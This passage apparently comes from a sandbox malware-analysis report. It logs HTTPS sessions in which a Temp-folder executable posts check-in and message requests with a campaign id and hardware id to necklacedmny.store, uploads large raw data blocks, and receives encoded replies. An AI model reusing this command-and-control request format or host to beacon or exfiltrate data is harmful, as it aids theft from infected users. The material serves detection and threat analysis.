\+td,-M}kW>}Cn@Tb4zc)(H+$vR<]Sw9d4A)sIG'vG7:GU`!~(G}?Cto.E`]MTw~pdGja%WE/3Y~5JxywyeI:T2yCI]Fa~Y[Dn
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: e3 07 b5 a0 dc c2 be a8 57 01 17 c8 01 ee 18 50 b0 19 b6 ad c3 0b 88 eb e9 9a 2c c8 7b f7 26 73 29 46 b3 d1 4f 08 f4 f9 2e 06 01 98 26 41 b6 2f 73 b0 97 06 db d6 ff d3 1a 7a bc e0 15 97 97 19 81 79 fd d5 12 79 20 6b 02 06 f2 70 cf ff 9f 97 32 7b 89 7a 7e 19 9b f5 3b 63 1d b7 f9 5e 87 82 91 08 ee f2 b2 74 b0 b7 fb ee 30 12 a1 cb 68 fb e6 39 96 cd 8e e4 53 8f f2 e4 05 ec a3 92 34 95 f5 43 ff f9 a6 95 54 b6 7a fd 8b 2b 44 90 ed 26 ac 3e 3e 6b ba ec cd b6 9e 22 00 da c3 e8 42 28 cd d5 97 8b e5 5a cd bd d2 b0 87 56 39 26 73 6a 8e 75 17 2f 38 13 27 91 49 ac a5 34 46 1d 16 22 c6 1b 59 6d 09 c7 23 25 ff 34 c9 cb 56 bb f0 eb cb b4 bc 0d 37 53 40 05 ef 0c da 90 f5 a0 5e 61 17 3e 72 43 98 d0 b2 d5 8a f1 14 81 cf 48 87 4f fd 80 69 d4 4c 97 d3 76 aa 30 25 53 94 df c4 Data Ascii: WP,{&s)FO.&A/szyy kp2{z~;c^t0h9S4CTz+D&>>k"B(ZV9&sju/8'I4F"Ym#%4V7S@^a>rCHOiLv0%S
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 7e f8 d2 a1 a6 34 55 c1 33 9e e6 84 28 57 b2 7e 63 a8 b3 17 c7 3b 24 dd c4 0c 49 a6 6f 14 9d a1 f8 c8 f7 06 44 74 0a 67 1f 1a 90 02 63 b1 46 81 69 09 f1 6f 88 53 bd a3 45 bd 3a b2 e1 81 b6 27 ab fd a8 83 44 37 c4 15 ff c4 07 9b db bb 9f b5 cd 39 a1 6d ed ef 07 08 42 4d 4b c2 e5 08 55 30 56 74 51 30 cc 95 0e 64 9b 77 56 a2 83 47 35 cc 89 99 55 25 1b 89 ed 96 c3 0a 7d 54 5d b5 04 d7 73 3f 4f f4 b9 47 1b 72 d8 5d e1 7b 86 16 1e 7a b5 39 8a 5f f7 7e 33 77 64 c3 75 f0 f7 5f 03 9a 9a 82 b5 e7 d3 81 80 96 aa 32 3e 82 57 c7 92 5d 18 e4 18 8b 9e e6 f0 b5 65 7f 1a be 8f fd 51 d3 fc aa 6e a9 eb e7 96 29 ef f1 e7 3d 89 da 12 d3 8e 39 3f 75 7d fd 9f 09 bc c6 6b 97 58 50 53 57 8a 7e 6d 40 19 3d a5 2f 50 56 7d 8f 11 95 48 03 44 76 99 9a ea f9 66 a7 6f cb c7 f6 a1 9a 57 Data Ascii: ~4U3(W~c;$IoDtgcFioSE:'D79mBMKU0VtQ0dwVG5U%}T]s?OGr]{z9_~3wdu_2>W]eQn)=9?u}kXPSW~m@=/PV}HDvfoW
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 87 76 02 db 71 e0 1d a9 e0 e2 b1 b6 cc f5 ff 93 6c cc 07 f7 35 5b 7e 13 5b c9 5b b8 3d 2a 1d cc 70 8a e5 95 2f 07 38 2a 66 d1 b0 3b 44 77 ec f3 b4 43 eb 88 ad fe d6 c0 e3 dc b7 d4 32 d2 9e c5 78 1f a7 a5 3e fc 5e b3 99 bb 93 91 d9 d7 46 e7 8e f2 93 a6 67 8a d4 0b 9a 37 78 74 a2 71 ea 4a d5 be 1c 85 50 62 52 a8 34 cf 78 c0 60 94 2c 84 67 3f ec a7 1a 8c b6 90 44 26 a3 94 43 77 76 89 f5 1e 5a 6b 91 0e b1 12 06 c5 45 c8 4f 6c 6d c9 fd 8d 5e e3 0c d7 af a7 c8 ee cb bb db 95 60 62 ad f8 fc 7b 62 ad 71 09 8f ab 22 0e 41 94 83 7a 91 b9 cb 00 b1 48 d4 62 89 80 9f bc cd 3f 85 1a 43 7c 2e 13 d7 a4 b8 98 4a 53 61 dc 40 b0 37 e2 ae a3 52 1d 1e 61 0a ac 94 68 5a 23 39 45 2c db 49 27 e7 72 3c d2 b4 88 53 4c d8 75 c4 dc 4a 2e 3c 16 eb 15 6f 75 08 cd 82 29 a2 a2 e3 8d b5 Data Ascii: vql5[~[[=p/8f;DwC2x>^Fg7xtqJPbR4x`,g?D&CwvZkEOlm^`b{bq"AzHb?C\|.JSa@7RahZ#9E,I'r<SLuJ.<ou)
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 3a c3 7f b7 2b e5 cd 58 a0 2d a2 cc 42 45 b4 b6 d1 c5 64 7f 8d 62 2f 48 99 e6 96 8b 4b bd ed b1 3f ae 5b a6 31 b8 36 5c c7 54 e1 c1 58 0e d2 6c c8 0f 09 cd fb f5 aa 1e 69 ec 2a 5c 97 95 1d 6f 23 68 29 22 33 0f 3e 21 8f 55 5a a4 63 11 f5 3a 99 bd a0 62 52 84 97 9e b9 8e 27 24 98 b5 10 c2 bd 01 f3 4e 3a 20 cd 54 8d dd cd 59 d1 e4 59 c2 a0 f9 b7 3f 34 73 05 6d 08 67 c2 d8 aa f3 a6 80 99 09 03 af 3d 34 11 60 26 5d c5 ad 1d a3 4b 80 13 2f 12 09 53 59 1a 4c f5 39 84 f4 4b 11 07 14 bc 62 43 f3 01 55 af ed e2 b9 a8 bb 0e eb 81 a4 14 4a 8a 0a 09 4b 48 3b c0 a5 c3 3b 24 96 e2 76 85 84 50 7e 9c fd e8 bf 78 cd ed 7e c8 b6 66 a3 b4 85 ad ca fc ea e5 cb 4f 85 51 23 cf d7 fd 68 be 03 86 39 1a ea 1e b2 13 0e fb 01 e6 7e 45 ed 13 66 89 0c e9 c5 8b 42 33 9f 44 bb 14 5a 15 Data Ascii: :+X-BEdb/HK?[16\TXli*\o#h)"3>!UZc:bR'$N: TYY?4smg=4`&]K/SYL9KbCUJKH;;$vP~x~fOQ#h9~EfB3DZ
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 7c 2a 5c 33 fa 68 c3 3d 36 16 44 fb 73 75 b4 ef 51 fe 6b 12 36 4e f9 14 27 52 ba 8a f2 e5 ee 5e e6 a7 93 87 64 ce aa 5c f0 a2 10 f7 87 78 c5 a9 fc 16 ac 1e 37 e2 77 7d 7f f5 fd d1 e1 07 8a 47 66 0c 62 82 be bd 0c d5 7f bb 57 47 dc bb b3 e3 eb 9d 9d d8 e8 81 ee db 13 2f 20 9d 2d 5a 5d 9c e5 af 4a 84 90 30 8d bf 97 5e 49 7f 78 91 dd ff d5 64 c7 5a dd 41 6b 4d c1 27 e6 d0 a9 e1 c9 66 91 27 a3 9d 3f e5 24 f8 84 b5 e5 14 dc e6 0f dd bb ba 3b 67 f4 de d7 1f 6b 7f 5f fa c0 e9 ae fc c1 1e d2 b6 3c fe 92 0a 62 dc 9e 0b a8 39 f1 11 12 9b de 9a de fb 52 02 85 62 36 2c 1c 58 2a 3a 66 1b 5f 33 da 4b 97 a4 1f 09 b2 23 16 1c 4d 9e cf 5f df fe c1 b9 bd 9e 71 fc aa 5f a4 7a 6b 7d e6 78 e9 33 8a 3f 88 58 ba e7 f6 72 f5 b6 c7 65 9d dd ab 65 6d fb 2f d9 bd fd 87 9e 7b 65 be Data Ascii: \|\3h=6DsuQk6N'R^d\x7w}GfbWG/ -Z]J0^IxdZAkM'f'?$;gk_<b9Rb6,X:f_3K#M_q_zk}x3?Xreem/{e
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: a2 2f 10 ac c7 5b b2 e4 75 f7 01 c2 a2 eb 1d 5b 22 fb 66 63 47 c2 7d 5f b6 e6 f2 fc c0 de cc 99 3d 7e 9d 5a e3 c9 7e a4 1d 1e 02 4c 00 62 2b e6 5f a3 75 6c a8 91 47 b0 9f 0f 7e 60 3e e5 26 ef e0 0d 66 c3 7b ae f4 ef 6f 8a a8 02 96 39 16 87 f5 79 16 96 e6 b9 ed 67 6b 77 16 f1 43 e7 69 be 53 33 7b a3 c6 2e 3e 72 1a 7f 3c 72 d1 ff db ba c7 4a ae 71 cf ba 36 af df b8 f6 cb 33 67 0f 10 12 1e a6 88 df 98 1c 39 fb 80 a6 5b bd d8 86 e0 1c f3 00 39 0f b6 37 c6 bd e8 b9 e3 e1 c3 d2 a0 2c d6 5d 64 ee 2d b7 20 5c a8 80 46 6e cf 1b 6c 3e e8 3c 78 6d e4 e0 ec 7b c8 a3 65 54 b7 40 6b 46 93 de 6a 09 88 6c 35 50 59 87 88 1b cf 35 11 04 aa d8 87 a3 1b 77 7b 8c b3 ee c6 d6 59 1b 72 7a ff e1 47 05 ed d8 71 94 6f e1 09 b3 b6 66 64 dd c4 b8 80 9a be 30 f9 cf f6 b7 4c 92 57 84 Data Ascii: /[u["fcG}_=~Z~Lb+_ulG~`>&f{o9ygkwCiS3{.>r<rJq63g9[97,]d- \Fnl><xm{eT@kFjl5PY5w{YrzGqofd0LW
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 31 43 04 aa b9 36 cb 68 be 9c ba 44 d2 29 f7 fb ab 5c 7e fd 8b ff 55 05 4a 12 9b 12 af 88 e0 7c f9 55 00 d2 2e 10 03 38 a3 61 01 a5 06 cd c3 67 c3 87 85 20 62 76 14 1c 4e 60 e4 8a c5 78 f2 67 58 13 18 a9 42 ae a6 c6 25 42 40 78 cd 4f 23 ef 28 4d bd 67 3c 82 d4 c9 8e 0d 11 28 d7 42 cd 64 70 d2 45 e3 cf 3f 91 83 c3 94 41 a2 57 f6 b6 39 0e 17 5f 1f 8a ca 20 73 23 2c b5 b6 44 a3 a9 58 68 7d 13 70 74 e7 af 68 d5 2d b7 1d 35 a0 ca f5 3d e1 eb 71 19 e8 75 f1 d9 aa 14 72 73 14 3b 27 1d f7 f5 42 61 da be af 84 ce fa ff df f1 1e 2d f7 60 ae c4 f4 fe 73 06 9b 87 21 70 2a fb 38 95 9c 77 86 58 56 b5 f0 a1 70 1a c1 69 6c 8a cf 1c bf f5 5c e3 bb b0 68 af 58 dd 7d e5 46 3b d7 97 ea d5 48 ac c6 77 b1 73 4d 2d 45 c3 d7 9b 2b f5 91 48 fe 3a aa bb fb 19 c6 20 86 50 9c fd 3a Data Ascii: 1C6hD)\~UJ\|U.8ag bvN`xgXB%B@xO#(Mg<(BdpE?AW9_ s#,DXh}pth-5=qurs;'Ba-`s!p*8wXVpil\hX}F;HwsM-E+H: P:
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 78 e5 f3 0d 03 b8 02 01 1a ce bb 29 7a ab 3b 01 b9 0d ae 3f f6 e0 3e 21 44 c8 e3 17 24 fb fb bb 3e 6c 20 98 5c 68 f2 f0 2e f8 a9 1f e9 bf 01 31 4a 6a a5 bd c9 d8 09 00 a7 f3 b7 ec a0 00 f2 a1 18 49 0e c4 de 23 70 c7 d2 87 6f f6 c3 4a ea 6d 22 f1 89 70 1f 1c ee bf e9 29 96 80 20 cf ef 3a 10 f5 12 15 03 92 4b 5c ee 42 df 37 73 b4 91 4d 8f db b8 6a c8 70 77 31 4a 02 b0 75 a2 9e be 03 2c 2e c5 4f fa 9d 1f c6 bb 6e 33 25 b4 9a f9 4b 65 99 35 10 fd ec 68 f8 c4 2d 74 45 40 30 75 91 62 d6 ea 8c 4a a9 1f 8a f8 31 65 21 73 e9 e5 31 d7 00 66 bf 2a d1 09 d6 6b 9c b3 50 6d 59 82 aa 96 5e c8 3a 3c af 89 09 1a 90 6a f3 0a e0 db 6d f4 4e e3 c3 16 28 f3 50 88 2c 54 ce 2c b0 2a 56 df 21 84 cd a5 77 34 47 9e e1 64 0b d3 7a f6 e8 79 03 46 e7 9f 54 43 66 2d f7 6b a5 df f0 d8 Data Ascii: x)z;?>!D$>l \h.1JjI#poJm"p) :K\B7sMjpw1Ju,.On3%Ke5h-tE@0ubJ1e!s1fkPmY^:<jmN(P,T,V!w4GdzyFTCf-k
2024-11-01 11:34:27 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i8e7cma7sekctgo68ek5hmp5eb; expires=Tue, 25-Feb-2025 05:21:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pbt4Bd2h8jTY56LO%2B%2Boykvim2iTKm9itMK1DMy2B3RRNkx6GkfwAM2LCWwboLll9coCVU0Pf5PZkCA%2BamDsQoJoFN8FmBUI2h%2Ffu8lKM8CJuLW5FCb01q6swucXZIwF2I%2BjsK1w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb935bc9217d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1234&sent=212&recv=605&lost=0&retrans=0&sent_bytes=2844&recv_bytes=566362&delivery_rate=2225980&cwnd=251&unsent_bytes=0&cid=c042a418a65e816b&ts=1759&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49995	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 11:34:28 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=BE46C0CE234CABFC423F84FF1E9B0ACE
2024-11-01 11:34:28 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g7bdvu4uhchda41d4eh2j1r12j; expires=Tue, 25-Feb-2025 05:21:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZjQFimiC7sO8XIML4yxRLtbZVYCCofeNiDiEppQKi8jmFpJ2OpeCgMRRYa1%2FT1baCWjVxaOAakUclD971l5H6uX6lYyCbVt%2FR657A4MI04g8r3YehwaA%2Fc1TSwmVFR8sRGsDlhM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb936aab3f477e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1897&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1548663&cwnd=250&unsent_bytes=0&cid=6dfd85df2aefd271&ts=504&x=0"
2024-11-01 11:34:28 UTC	214	IN	Data Raw: 64 30 0d 0a 69 34 66 71 32 64 51 78 31 71 6b 62 6a 4d 30 58 2b 2f 68 7a 6d 59 79 78 31 35 6e 47 79 75 38 62 6f 73 41 6a 72 36 53 54 42 30 44 51 2f 4d 69 73 39 67 76 30 77 57 2f 34 76 53 32 6e 31 79 2b 32 76 59 6e 69 74 2f 54 37 32 6a 57 54 38 52 43 42 6c 61 56 62 62 2b 54 68 6a 49 58 37 56 62 50 50 4e 65 6d 31 63 74 6e 55 55 66 2f 34 6b 2b 32 70 36 75 69 4b 4f 5a 6a 77 58 6f 50 66 73 58 4a 69 73 61 57 43 72 61 42 42 37 50 55 30 30 4f 49 6d 77 38 31 64 71 37 32 45 2b 61 6a 33 2b 63 45 71 6c 4a 77 4d 77 73 33 39 59 68 79 6b 39 59 75 33 73 46 36 37 68 33 37 30 71 44 58 58 32 68 58 74 72 6f 76 6e 74 65 53 76 7a 53 47 53 76 58 34 3d 0d 0a Data Ascii: d0i4fq2dQx1qkbjM0X+/hzmYyx15nGyu8bosAjr6STB0DQ/Mis9gv0wW/4vS2n1y+2vYnit/T72jWT8RCBlaVbb+ThjIX7VbPPNem1ctnUUf/4k+2p6uiKOZjwXoPfsXJisaWCraBB7PU00OImw81dq72E+aj3+cEqlJwMws39Yhyk9Yu3sF67h370qDXX2hXtrovnteSvzSGSvX4=
2024-11-01 11:34:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49998	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:34:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:34:30 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dni40etek5ld93ifhu2gavok2c; expires=Tue, 25-Feb-2025 05:21:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eK3pkFZWciWfd8eE8hu9M7GBO1Rwuh%2FPGYfzAp1XEX%2B8nTFPwWr%2FxbQF4w7oFKYkk4GSifnKbUFnuaVqV6WgkQvQeRfwxScnuWenW6EoyBCeziAyHJsQmW%2FVg9EHYDLYzm7Odps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93739c2046e0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1263&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2316800&cwnd=251&unsent_bytes=0&cid=a090720043f75303&ts=544&x=0"
2024-11-01 11:34:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:34:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50000	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:34:30 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:34:31 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qv7g6rt7822hcbv6pj2ru3pp60; expires=Tue, 25-Feb-2025 05:21:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aXewXeOMaICUMFRzYqoleGEmwE7cNdejDG33MWz1BctNkrNnLS9meuy8vw0l5USW5XbYYzu2c2VIFTRntRiTuPYwqDcypuZ30tynHVQQoI9DeHIt%2F0jxnrBd3A%2B1k1vd14nAU0s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb937b5f8d4689-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1115&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2250194&cwnd=251&unsent_bytes=0&cid=2c1ad2653bfa35f0&ts=512&x=0"
2024-11-01 11:34:31 UTC	358	IN	Data Raw: 34 64 66 0d 0a 68 69 44 52 4e 30 34 46 75 68 75 52 51 31 51 42 61 39 72 54 62 71 36 6e 33 49 71 69 2f 4b 57 59 5a 72 63 76 69 74 4b 31 4b 52 48 39 41 71 63 56 64 44 47 57 4f 65 49 6d 64 6a 73 66 71 4b 59 4c 67 6f 57 39 37 6f 44 47 77 2f 6b 4b 78 45 71 6d 38 4d 4e 45 4d 37 78 47 73 46 73 39 59 4a 59 35 39 44 74 32 4f 7a 43 68 38 51 76 41 68 65 61 6f 78 35 62 48 2b 51 72 56 54 75 47 39 78 55 56 79 37 6b 79 32 58 79 74 6d 33 6e 72 39 4c 6a 46 6b 44 72 75 35 41 4d 66 4b 74 4f 65 41 30 49 66 39 48 4a 55 56 71 4a 2f 51 58 58 44 4c 51 61 4a 63 62 48 69 57 59 4c 4d 6d 4f 69 4e 52 2b 4c 49 4c 7a 4d 75 36 37 73 6d 55 7a 66 41 43 31 45 76 67 6f 74 78 50 65 65 35 43 74 56 34 68 62 38 70 33 39 79 6b 36 59 67 53 37 38 55 4b 4d 77 71 61 6f 6d 4e 36 55 79 41 66 45 58 50 Data Ascii: 4dfhiDRN04FuhuRQ1QBa9rTbq6n3Iqi/KWYZrcvitK1KRH9AqcVdDGWOeImdjsfqKYLgoW97oDGw/kKxEqm8MNEM7xGsFs9YJY59Dt2OzCh8QvAheaox5bH+QrVTuG9xUVy7ky2Xytm3nr9LjFkDru5AMfKtOeA0If9HJUVqJ/QXXDLQaJcbHiWYLMmOiNR+LILzMu67smUzfAC1EvgotxPee5CtV4hb8p39yk6YgS78UKMwqaomN6UyAfEXP
2024-11-01 11:34:31 UTC	896	IN	Data Raw: 79 6f 39 5a 68 75 7a 75 41 48 42 78 62 50 69 7a 35 33 48 2f 51 37 66 51 75 4b 30 32 6b 5a 31 35 45 4c 7a 47 32 78 67 77 44 6d 72 59 52 56 6d 47 62 2b 39 47 6f 37 2f 2f 76 65 4f 68 34 66 39 43 4a 55 56 71 4c 6a 53 53 48 44 76 54 62 42 64 4a 33 58 59 61 2f 55 73 4d 33 45 50 76 62 38 47 7a 39 65 30 35 73 61 64 7a 76 45 4e 30 45 72 73 38 4a 6b 4c 64 50 77 43 36 78 55 4e 61 74 4e 31 2b 54 59 32 49 78 62 32 71 45 7a 4c 79 66 36 77 67 4a 72 47 2f 67 58 52 51 2b 61 30 32 30 31 39 36 55 32 31 58 79 78 67 30 6e 48 37 49 44 74 6f 42 72 69 30 41 63 6a 44 73 75 6e 46 33 6f 6d 36 41 38 30 4e 73 50 44 35 54 48 44 32 41 49 5a 57 49 6d 6e 66 62 37 4d 2b 65 48 70 4a 76 37 31 4d 6c 49 57 77 37 63 2b 4d 78 75 67 42 32 31 2f 6b 74 64 46 47 63 4f 70 43 74 6c 49 68 61 64 35 2b Data Ascii: yo9ZhuzuAHBxbPiz53H/Q7fQuK02kZ15ELzG2xgwDmrYRVmGb+9Go7//veOh4f9CJUVqLjSSHDvTbBdJ3XYa/UsM3EPvb8Gz9e05sadzvEN0Ers8JkLdPwC6xUNatN1+TY2Ixb2qEzLyf6wgJrG/gXRQ+a020196U21Xyxg0nH7IDtoBri0AcjDsunF3om6A80NsPD5THD2AIZWImnfb7M+eHpJv71MlIWw7c+MxugB21/ktdFGcOpCtlIhad5+
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 31 38 39 64 0d 0a 77 2b 69 67 6b 61 51 57 32 6f 77 48 47 77 4c 44 6b 78 5a 48 48 2b 77 58 62 52 2b 50 77 6d 51 74 30 2f 41 4c 72 46 51 4e 71 79 47 76 35 4b 69 63 68 50 4c 75 2f 41 73 76 54 2f 76 65 4f 68 34 66 39 43 4a 55 56 71 4c 76 52 52 33 2f 6b 52 4b 46 62 49 33 58 53 61 2f 63 76 4d 6d 38 48 73 62 77 44 79 64 65 36 36 4e 4b 66 77 76 30 4b 32 46 2f 74 38 4a 6b 4c 64 50 77 43 36 78 55 57 55 39 39 70 34 69 5a 30 56 67 71 32 76 77 76 61 68 61 47 6d 32 64 37 41 39 6b 53 4e 44 65 75 38 32 6b 4a 32 36 31 43 35 57 53 31 31 33 33 44 36 4b 7a 64 74 42 72 4f 39 43 64 37 4f 73 65 44 50 6e 38 72 33 44 39 46 4e 71 50 36 58 54 47 75 6b 47 76 4e 30 49 57 6a 4b 65 75 4a 6a 41 32 41 48 74 72 59 61 6a 4e 72 77 38 59 43 5a 79 37 70 63 6c 55 7a 6b 76 4e 5a 45 64 65 35 4b Data Ascii: 189dw+igkaQW2owHGwLDkxZHH+wXbR+PwmQt0/ALrFQNqyGv5KichPLu/AsvT/veOh4f9CJUVqLvRR3/kRKFbI3XSa/cvMm8HsbwDyde66NKfwv0K2F/t8JkLdPwC6xUWU99p4iZ0Vgq2vwvahaGm2d7A9kSNDeu82kJ261C5WS1133D6KzdtBrO9Cd7OseDPn8r3D9FNqP6XTGukGvN0IWjKeuJjA2AHtrYajNrw8YCZy7pclUzkvNZEde5K
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 50 63 65 66 34 71 4f 47 30 41 74 4c 6b 41 79 39 65 7a 37 63 69 55 7a 76 38 49 32 45 37 36 73 39 59 4c 50 61 52 46 71 78 56 30 4a 2f 39 4b 78 41 4a 32 66 45 65 68 38 51 76 41 68 65 61 6f 77 5a 62 41 39 41 44 48 51 2f 71 2b 30 45 74 31 37 45 71 30 57 53 4a 70 79 6e 48 79 49 54 68 73 41 62 47 31 44 63 6a 42 73 75 2b 41 30 49 66 39 48 4a 55 56 71 4a 6a 55 55 57 6d 6d 62 4c 68 56 4b 33 66 4f 59 72 4d 2b 65 48 70 4a 76 37 31 4d 6c 49 57 36 34 38 71 58 78 50 4d 41 32 45 33 68 76 39 35 44 66 75 78 51 73 6c 38 2b 59 39 31 34 2f 43 73 79 61 77 57 33 76 51 6a 65 7a 76 36 6d 67 4a 6e 66 75 6c 79 56 62 65 4f 6d 39 46 6c 68 70 46 33 39 54 47 78 67 31 44 6d 72 59 54 39 76 43 4c 6d 37 43 73 66 41 73 2b 6a 46 6c 4d 44 32 42 4e 56 4f 37 72 62 61 51 33 76 6f 54 72 42 59 4b Data Ascii: Pcef4qOG0AtLkAy9ez7ciUzv8I2E76s9YLPaRFqxV0J/9KxAJ2fEeh8QvAheaowZbA9ADHQ/q+0Et17Eq0WSJpynHyIThsAbG1DcjBsu+A0If9HJUVqJjUUWmmbLhVK3fOYrM+eHpJv71MlIW648qXxPMA2E3hv95DfuxQsl8+Y914/CsyawW3vQjezv6mgJnfulyVbeOm9FlhpF39TGxg1DmrYT9vCLm7CsfAs+jFlMD2BNVO7rbaQ3voTrBYK
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 31 4c 7a 64 6c 42 62 58 78 51 6f 7a 43 70 71 69 59 33 75 44 67 43 64 4e 61 2b 59 58 51 53 79 4b 6b 58 66 31 4d 62 47 44 55 4f 61 74 68 4f 32 38 44 74 62 51 49 78 4d 4b 39 36 63 79 61 79 76 63 41 33 45 6e 74 6f 73 56 4e 66 65 52 4e 76 56 6f 67 64 64 5a 38 38 79 31 32 4c 55 6d 2f 71 55 79 55 68 59 2f 2f 77 4e 37 59 74 42 32 56 53 75 54 77 6a 77 74 38 36 56 43 2f 57 69 78 6d 32 33 33 34 4a 6a 42 6c 43 4c 75 30 44 38 6e 44 76 2b 6a 4d 6c 4d 44 79 44 74 74 41 37 72 54 52 54 54 4f 71 41 72 52 4e 62 44 2b 59 53 2f 34 76 50 32 41 50 74 61 63 6b 2f 59 57 68 70 74 6e 65 77 50 5a 45 6a 51 33 73 75 39 39 48 64 75 78 48 73 6c 30 6d 62 39 64 32 34 53 41 35 61 67 36 7a 76 41 50 43 77 4c 44 36 78 35 58 4d 38 67 33 62 53 36 6a 2b 6c 30 78 72 70 42 72 7a 59 79 39 70 30 32 Data Ascii: 